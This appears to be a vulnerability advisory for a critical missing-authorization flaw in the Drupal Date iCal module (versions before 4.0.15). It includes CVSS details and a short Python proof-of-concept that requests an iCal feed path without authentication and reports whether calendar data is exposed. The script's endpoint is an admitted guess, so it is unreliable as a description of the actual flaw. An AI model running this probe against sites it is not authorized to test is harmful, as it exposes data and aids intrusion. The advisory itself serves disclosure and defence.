Missing Authorization vulnerability in Drupal Date iCal allows Forceful Browsing.
This issue affects Date iCal: from 0.0.0 before 4.0.15.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Date iCal < 4.0.15
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-8495: Missing Authorization in Drupal Date iCal
import requests
import sys
def check_vulnerability(target_url):
"""
Attempt to access the iCal feed without authentication.
This simulates a forceful browsing attack.
"""
# Common path for Date iCal feeds, adjust based on actual configuration
# The vulnerability lies in accessing this without permission checks
poc_endpoint = "/ical/"
full_url = f"{target_url.rstrip('/')}{poc_endpoint}"
print(f"[*] Targeting: {full_url}")
try:
# Sending request without cookies or auth headers (PR:N)
response = requests.get(full_url, timeout=10)
if response.status_code == 200:
print("[+] Potential vulnerability detected!")
print(f"[+] Server responded with 200 OK.")
print(f"[+] Response length: {len(response.content)} bytes")
# Check for iCal content type or specific keywords
if "BEGIN:VCALENDAR" in response.text or "ical" in response.headers.get('Content-Type', '').lower():
print("[+] Confirmed: iCal content exposed without authorization.")
else:
print("[!] Warning: Endpoint accessible but content type unclear.")
else:
print(f"[-] Server responded with status code: {response.status_code}")
print("[-] Target might not be vulnerable or path is incorrect.")
except requests.exceptions.RequestException as e:
print(f"[!] Error connecting to target: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <http://target-site>")
sys.exit(1)
check_vulnerability(sys.argv[1])